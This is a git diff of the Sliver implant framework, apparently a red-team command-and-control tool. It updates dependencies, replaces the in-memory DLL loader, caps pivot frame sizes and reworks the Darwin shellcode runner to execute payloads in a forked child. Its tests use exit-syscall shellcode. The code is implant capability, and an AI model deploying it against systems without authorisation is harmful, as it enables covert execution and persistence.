google.golang.org/genproto/googleapis/rpc v0.0.0-20260414002931-afd174a4e478/go.mod h1:4Hqkh8ycfw05ld/3BWL7rJOSfebL2Q+DVDeRgYgxUU8=
google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg=
google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY=
google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk=
google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk=
google.golang.org/grpc v1.79.1 h1:zGhSi45ODB9/p3VAawt9a+O/MULLl9dpizzNNpq7flY=
google.golang.org/grpc v1.79.1/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
google.golang.org/grpc v1.79.3 h1:sybAEdRIEtvcD68Gx7dmnwjZKlyfuc61Dyo9pGXXkKE=
google.golang.org/grpc v1.79.3/go.mod h1:KmT0Kjez+0dde/v2j9vzwoAScgEPx/Bw1CYChhHLrHQ=
google.golang.org/grpc v1.82.1 h1:NnAxzGRA0677vCa4BUkOAnO5+FfQqVl9iUXeD0IqcGE=
google.golang.org/grpc v1.82.1/go.mod h1:yzTZ1TB1Z3SG+LIYaI+WiE8D5+PZ3ArnrSp8zF3+/ZA=
google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
@@ -1099,6 +1059,8 @@ gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlI
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc=
gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
@@ -1113,12 +1075,12 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gorm.io/driver/mysql v1.6.0 h1:eNbLmNTpPpTOVZi8MMxCi2aaIm0ZpInbORNXDwyLGvg=
gorm.io/driver/mysql v1.6.0/go.mod h1:D/oCC2GWK3M/dqoLxnOlaNKmXz8WNTfcS9y5ovaSqKo=
gorm.io/driver/postgres v1.6.0 h1:2dxzU8xJ+ivvqTRph34QX+WrRaJlmfyPqXmoGVjMBa4=
gorm.io/driver/postgres v1.6.0/go.mod h1:vUw0mrGgrTK+uPHEhAdV4sfFELrByKVGnaVRkXDhtWo=
gorm.io/driver/postgres v1.6.2 h1:BvXQ/cNUg63q5TFNg672DmDcowZSFrNLkkA3Xe6GXq4=
gorm.io/driver/postgres v1.6.2/go.mod h1:0c4fQA44XhOklXDkgtuKqysHCycTa5i9e3EIpDGCwXk=
gorm.io/driver/sqlite v1.6.0 h1:WHRRrIiulaPiPFmDcod6prc4l2VGVWHz80KspNsxSfQ=
gorm.io/driver/sqlite v1.6.0/go.mod h1:AO9V1qIQddBESngQUKWL9yoH93HIeA1X6V633rBwyT8=
gorm.io/gorm v1.31.0 h1:0VlycGreVhK7RF/Bwt51Fk8v0xLiiiFdbGDPIZQ7mJY=
gorm.io/gorm v1.31.0/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs=
gorm.io/gorm v1.31.2 h1:3o8FXNo9v9S858gil+3LlZA1LkCOzgb4g5BL64FgaCo=
gorm.io/gorm v1.31.2/go.mod h1:XyQVbO2k6YkOis7C2437jSit3SsDK72s7n7rsSHd+Gs=
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c h1:m/r7OM+Y2Ty1sgBQ7Qb27VgIMBW8ZZhT4gLnUyDIhzI=
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c/go.mod h1:3r5CMtNQMKIvBlrmM9xWUNamjKBYPOWyXOjmg5Kts3g=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+9 -9
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.24.0
go 1.26.6
require (
filippo.io/age v1.1.1
@@ -11,14 +11,14 @@ require (
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/sliverarmory/reflektor v0.0.2
github.com/stretchr/testify v1.8.4
github.com/tetratelabs/wazero v1.7.1
github.com/things-go/go-socks5 v0.0.4
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.42.0
golang.org/x/net v0.43.0
golang.org/x/sys v0.36.0
golang.org/x/crypto v0.52.0
golang.org/x/net v0.55.0
golang.org/x/sys v0.45.0
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
google.golang.org/protobuf v1.32.0
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
@@ -37,11 +37,11 @@ require (
github.com/jcmturner/gofork v1.0.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.27.0 // indirect
golang.org/x/sync v0.17.0 // indirect
golang.org/x/text v0.29.0 // indirect
golang.org/x/mod v0.35.0 // indirect
golang.org/x/sync v0.20.0 // indirect
golang.org/x/text v0.37.0 // indirect
golang.org/x/time v0.5.0 // indirect
golang.org/x/tools v0.36.0 // indirect
golang.org/x/tools v0.44.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
+18 -18
View File
@@ -39,12 +39,12 @@ github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/miekg/dns v1.1.50 h1:DQUfb9uc6smULcREF09Uc+/Gd46YWqJd5DbpPE9xkcA=
github.com/miekg/dns v1.1.50/go.mod h1:e3IlAVfNqAllflbibAZEWOXOQ+Ynzk/dDozDxY7XnME=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e h1:IkFCPlAa0iTiLxck+NqAwBx8JDlnHYm4orOQBbs4BDQ=
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e/go.mod h1:eYeI6cQ5YHhHt9i0BBW0zc1DaQnb4ZMXsSPuEV/V5Og=
github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0=
github.com/sliverarmory/reflektor v0.0.2 h1:nrEEFXrYiYFLCqyMpOJpe4RsY0Pu3tc1CvwChsNoAq4=
github.com/sliverarmory/reflektor v0.0.2/go.mod h1:Rw7qTWQQlCM3YTxxeuklFt3Q+kh1Ytlmzg5UVw1Nhkg=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
@@ -61,21 +61,21 @@ github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
golang.org/x/crypto v0.42.0 h1:chiH31gIWm57EkTXpwnqf8qeuMUi0yekh6mT2AvFlqI=
golang.org/x/crypto v0.42.0/go.mod h1:4+rDnOTJhQCx2q7/j6rAN5XDw8kPjeaXEUR2eL94ix8=
golang.org/x/crypto v0.52.0 h1:RMs7fP2rXdep0CftQlK8Uf+kibLm7qkCcradZWYz988=
golang.org/x/crypto v0.52.0/go.mod h1:1QgfPxDqh0T2M/elOJtp9RvuR95kVjir0e6/BvEmGbc=
golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.27.0 h1:kb+q2PyFnEADO2IEF935ehFUXlWiNjJWtRNgBLSfbxQ=
golang.org/x/mod v0.27.0/go.mod h1:rWI627Fq0DEoudcK+MBkNkCe0EetEaDSwJJkCcjpazc=
golang.org/x/mod v0.35.0 h1:Ww1D637e6Pg+Zb2KrWfHQUnH2dQRLBQyAtpr/haaJeM=
golang.org/x/mod v0.35.0/go.mod h1:+GwiRhIInF8wPm+4AoT6L0FA1QWAad3OMdTRx4tFYlU=
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM=
golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.43.0 h1:lat02VYK2j4aLzMzecihNvTlJNQUq316m2Mr9rnM6YE=
golang.org/x/net v0.43.0/go.mod h1:vhO1fvI4dGsIjh73sWfUVjj3N7CA9WkKJNQm2svM6Jg=
golang.org/x/net v0.55.0 h1:bcvxaJn3e1U6InsFWt1JUq1aSjnRxLzT2rtD2KfkDF8=
golang.org/x/net v0.55.0/go.mod h1:L5U2KuzuOe1lY7Z+aWVIKK6qEeJXnXV9yzGA+WCHJww=
golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -88,24 +88,24 @@ golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7w
golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.36.0 h1:KVRy2GtZBrk1cBYA7MKu5bEZFxQk4NIDV6RLVcC8o0k=
golang.org/x/sys v0.36.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/sys v0.45.0 h1:dO4czNzziLiiXplLQgBCEpCvXQ3dnkn0SdaZSYdQ+FY=
golang.org/x/sys v0.45.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.35.0 h1:bZBVKBudEyhRcajGcNc3jIfWPqV4y/Kt2XcoigOWtDQ=
golang.org/x/term v0.35.0/go.mod h1:TPGtkTLesOwf2DE8CgVYiZinHAOuy5AYUYT1lENIZnA=
golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4=
golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
golang.org/x/text v0.29.0 h1:1neNs90w9YzJ9BocxfsQNHKuAT4pkghyXc4nhZ6sJvk=
golang.org/x/text v0.29.0/go.mod h1:7MhJOA9CD2qZyOKYazxdYMF85OwPdEr9jTtBpO7ydH4=
golang.org/x/text v0.37.0 h1:Cqjiwd9eSg8e0QAkyCaQTNHFIIzWtidPahFWR83rTrc=
golang.org/x/text v0.37.0/go.mod h1:a5sjxXGs9hsn/AJVwuElvCAo9v8QYLzvavO5z2PiM38=
golang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=
golang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
golang.org/x/tools v0.1.6-0.20210726203631-07bc1bf47fb2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk=
golang.org/x/tools v0.36.0 h1:kWS0uv/zsvHEle1LbV5LE8QujrxB3wfQyxHfhOk0Qkg=
golang.org/x/tools v0.36.0/go.mod h1:WBDiHKJK8YgLHlcQPYQzNCkUxUypCaa5ZegCVutKm+s=
golang.org/x/tools v0.44.0 h1:UP4ajHPIcuMjT1GqzDWRlalUEoY+uzoZKnhOjbIPD2c=
golang.org/x/tools v0.44.0/go.mod h1:KA0AfVErSdxRZIsOVipbv3rQhVXTnlU6UhKxHd1seDI=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+11
View File
@@ -34,5 +34,16 @@ cd "$tempDir"
go mod tidy -compat=1.25
go mod vendor
# The lesnuages/go-winio fork provides RemoteClientMode, which Sliver needs,
# but its checked-in syscall wrappers predate syscall.SyscallN. Regenerate the
# wrappers with the pinned x/sys generator so Go 1.26 Windows/ARM64 debug builds
# do not link the oversized syscall.Syscall15 wrapper.
(
cd vendor/github.com/lesnuages/go-winio
go run -mod=mod golang.org/x/sys/windows/mkwinsyscall \
-output zsyscall_windows.go \
file.go pipe.go sd.go fileinfo.go privilege.go backup.go hvsock.go
)
# move updated files back
cleanup
@@ -28,7 +28,7 @@ import (
"log"
// {{end}}
"github.com/moloch--/memmod"
reflektor "github.com/sliverarmory/reflektor/memmod"
)
const (
@@ -39,7 +39,7 @@ const (
type WindowsExtension struct {
id string
data []byte
module *memmod.Module
module *reflektor.Module
arch string
init string
sync.Mutex
@@ -73,7 +73,7 @@ func (w *WindowsExtension) Load() error {
}
w.Lock()
defer w.Unlock()
w.module, err = memmod.LoadLibrary(w.data)
w.module, err = reflektor.LoadLibrary(w.data)
if err != nil {
return err
}
+19 -11
View File
@@ -840,22 +840,30 @@ func servicesListHandler(data []byte, resp RPCResponse) {
}
serviceInfo, err := service.ListServices(servicesReq.Hostname)
/*
Errors from listing the services are not fatal. The client can
display a message to the user about the issue
We still want other errors like timeouts to be handled in the
normal way.
*/
servicesResp := &sliverpb.Services{
Details: serviceInfo,
Error: err.Error(),
Response: &commonpb.Response{},
}
servicesResp := buildServicesResp(serviceInfo, err)
data, err = proto.Marshal(servicesResp)
resp(data, err)
}
// buildServicesResp packages the result of service.ListServices into a
// sliverpb.Services response. Errors from listing services are not fatal
// (partial results may still be useful to the operator), so a non-nil error
// is reported via the Error string field rather than failing the RPC.
// The nil-check is load-bearing: callers previously called err.Error()
// unconditionally, crashing the implant when ListServices succeeded cleanly.
func buildServicesResp(details []*sliverpb.ServiceDetails, err error) *sliverpb.Services {
errStr := ""
if err != nil {
errStr = err.Error()
}
return &sliverpb.Services{
Details: details,
Error: errStr,
Response: &commonpb.Response{},
}
}
func serviceDetailHandler(data []byte, resp RPCResponse) {
serviceDetailReq := &sliverpb.ServiceDetailReq{}
err := proto.Unmarshal(data, serviceDetailReq)
+2
View File
@@ -1,3 +1,5 @@
//go:build !sliver_lint
package main
/*
+15
View File
@@ -38,11 +38,20 @@ import (
"google.golang.org/protobuf/proto"
)
// MaxFrameLength bounds the payload size a pivot will allocate from a peer's
// 4-byte length prefix. A corrupted or desynced prefix can otherwise be read as
// a value up to ~4GiB and trigger an allocation large enough to crash the
// implant (see BishopFox/sliver#1452). 512MiB is far above any realistic
// relayed message but well below a fatal allocation.
const MaxFrameLength = 512 * 1024 * 1024
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedKeyExchange = errors.New("failed key exchange")
// ErrFrameTooLarge - A peer's declared frame length exceeds MaxFrameLength
ErrFrameTooLarge = errors.New("pivot frame exceeds maximum length")
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
@@ -496,6 +505,12 @@ func (p *NetConnPivot) read() ([]byte, error) {
// {{end}}
return nil, errors.New("[pivot] zero data length")
}
if dataLength > MaxFrameLength {
// {{if .Config.Debug}}
log.Printf("[pivot] read error: frame length %d exceeds max %d\n", dataLength, MaxFrameLength)
// {{end}}
return nil, ErrFrameTooLarge
}
dataBuf := make([]byte, dataLength)
n, err = io.ReadFull(p.conn, dataBuf)
+100
View File
@@ -0,0 +1,100 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/binary"
"errors"
"net"
"sync"
"testing"
"time"
)
func framePrefix(n uint32) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, n)
return b
}
// readWithTimeout runs read() with a deadline so a regression (an unbounded
// read that blocks waiting for a bogus multi-GB body) fails fast instead of
// hanging the whole test binary.
func readWithTimeout(t *testing.T, read func() ([]byte, error)) ([]byte, error) {
t.Helper()
type result struct {
data []byte
err error
}
ch := make(chan result, 1)
go func() {
d, e := read()
ch <- result{d, e}
}()
select {
case r := <-ch:
return r.data, r.err
case <-time.After(3 * time.Second):
t.Fatal("read() did not return in time (possible unbounded read)")
return nil, nil
}
}
// A corrupted/desynced 4-byte length prefix that reads as a huge value must be
// rejected before allocating, instead of triggering a multi-GB allocation that
// crashes the implant (BishopFox/sliver#1452).
func TestNetConnPivotReadRejectsOversizedFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivot{conn: server, readMutex: &sync.Mutex{}}
go func() {
// Only the length prefix is ever sent; no body follows.
_, _ = client.Write(framePrefix(uint32(MaxFrameLength) + 1))
}()
if _, err := readWithTimeout(t, p.read); !errors.Is(err, ErrFrameTooLarge) {
t.Fatalf("expected ErrFrameTooLarge, got %v", err)
}
}
// A well-formed frame within the bound must still round-trip unchanged.
func TestNetConnPivotReadAcceptsValidFrame(t *testing.T) {
client, server := net.Pipe()
defer func() { _ = client.Close() }()
defer func() { _ = server.Close() }()
p := &NetConnPivot{conn: server, readMutex: &sync.Mutex{}}
payload := []byte("hello pivot")
go func() {
_, _ = client.Write(framePrefix(uint32(len(payload))))
_, _ = client.Write(payload)
}()
data, err := readWithTimeout(t, p.read)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if string(data) != string(payload) {
t.Fatalf("got %q, want %q", data, payload)
}
}
+2
View File
@@ -1,3 +1,5 @@
//go:build !sliver_lint
package runner
/*
+48 -9
View File
@@ -34,21 +34,60 @@ import (
"unsafe"
)
// LocalTask - Run a shellcode in the current process
// Will hang the process until shellcode completion
// TODO: actually test this code
// Adapted/stolen from: https://github.com/lesnuages/hershell/blob/master/shell/shell_default.go#L48
//go:linkname localTaskBeforeFork syscall.runtime_BeforeFork
func localTaskBeforeFork()
//go:linkname localTaskAfterFork syscall.runtime_AfterFork
func localTaskAfterFork()
//go:linkname localTaskAfterForkInChild syscall.runtime_AfterForkInChild
func localTaskAfterForkInChild()
// LocalTask - Run shellcode in a forked child; blocks until the child exits.
// Forking isolates the beacon from payloads that exit/execve (issue #2237).
func LocalTask(data []byte, rwxPages bool) error {
dataAddr := uintptr(unsafe.Pointer(&data[0]))
page := getPage(dataAddr)
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
pageAddr := uintptr(unsafe.Pointer(&page[0]))
pageLen := uintptr(len(page))
dataPtr := unsafe.Pointer(&data)
// funcPtr trick from hershell (https://github.com/lesnuages/hershell)
funcPtr := *(*func())(unsafe.Pointer(&dataPtr))
runtime.LockOSThread()
defer runtime.UnlockOSThread()
go func(fPtr func()) {
fPtr()
}(funcPtr)
localTaskBeforeFork()
// Raw SYS_FORK on Darwin: r0 holds child's pid in BOTH processes; r1==1
// flags the child (libSystem's fork() wrapper hides this).
r0, isChild, errno := syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
if errno != 0 {
localTaskAfterFork()
runtime.UnlockOSThread()
return errno
}
if isChild == 1 {
localTaskAfterForkInChild()
for fd := uintptr(3); fd < 1024; fd++ {
syscall.RawSyscall(syscall.SYS_CLOSE, fd, 0, 0)
}
syscall.RawSyscall(syscall.SYS_MPROTECT, pageAddr, pageLen, uintptr(syscall.PROT_READ|syscall.PROT_EXEC))
funcPtr()
for {
syscall.RawSyscall(syscall.SYS_EXIT, 0, 0, 0)
}
}
localTaskAfterFork()
var ws syscall.WaitStatus
_, err := syscall.Wait4(int(r0), &ws, 0, nil)
runtime.UnlockOSThread()
if err != nil {
return err
}
if ws.Signaled() {
return fmt.Errorf("shellcode child killed by signal %v", ws.Signal())
}
if ws.ExitStatus() != 0 {
return fmt.Errorf("shellcode child exited %d", ws.ExitStatus())
}
return nil
}
@@ -0,0 +1,127 @@
//go:build darwin
package taskrunner
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"os"
"os/exec"
"runtime"
"testing"
"time"
"unsafe"
)
const localTaskHelperEnv = "SLIVER_LOCALTASK_HELPER"
const localTaskSentinel = "PARENT_ALIVE_AFTER_LOCALTASK"
// darwin/amd64 mov eax,0x2000001 ; xor edi,edi ; syscall — exit(0)
var exitShellcodeDarwinAmd64 = []byte{0xb8, 0x01, 0x00, 0x00, 0x02, 0x31, 0xff, 0x0f, 0x05}
// darwin/amd64 mov eax,0x2000001 ; mov edi,42 ; syscall — exit(42)
var exit42ShellcodeDarwinAmd64 = []byte{0xb8, 0x01, 0x00, 0x00, 0x02, 0xbf, 0x2a, 0x00, 0x00, 0x00, 0x0f, 0x05}
// darwin/arm64 movz x0,#0 ; movz x16,#1 ; svc #0x80 — exit(0)
// Stored as [N]uint32 so the backing storage is 4-byte aligned (ARM64 SIGBUS
// otherwise).
var exitShellcodeDarwinArm64Words = [3]uint32{0xd2800000, 0xd2800030, 0xd4001001}
// darwin/arm64 movz x0,#42 ; movz x16,#1 ; svc #0x80 — exit(42)
var exit42ShellcodeDarwinArm64Words = [3]uint32{0xd2800540, 0xd2800030, 0xd4001001}
func asBytes[T any](words *T) []byte {
return unsafe.Slice((*byte)(unsafe.Pointer(words)), unsafe.Sizeof(*words))
}
func exitShellcode() []byte {
switch runtime.GOARCH {
case "amd64":
return exitShellcodeDarwinAmd64
case "arm64":
return asBytes(&exitShellcodeDarwinArm64Words)
}
return nil
}
func exit42Shellcode() []byte {
switch runtime.GOARCH {
case "amd64":
return exit42ShellcodeDarwinAmd64
case "arm64":
return asBytes(&exit42ShellcodeDarwinArm64Words)
}
return nil
}
func TestMain(m *testing.M) {
switch os.Getenv(localTaskHelperEnv) {
case "exit0":
_ = LocalTask(exitShellcode(), false)
time.Sleep(500 * time.Millisecond)
fmt.Println(localTaskSentinel)
os.Exit(0)
case "exit42":
err := LocalTask(exit42Shellcode(), false)
if err != nil {
fmt.Printf("LOCALTASK_ERR=%s\n", err.Error())
} else {
fmt.Println("LOCALTASK_ERR=<nil>")
}
os.Exit(0)
}
os.Exit(m.Run())
}
func runHelper(t *testing.T, mode string) []byte {
t.Helper()
if exitShellcode() == nil {
t.Skipf("no exit shellcode for GOARCH=%s", runtime.GOARCH)
}
cmd := exec.Command(os.Args[0])
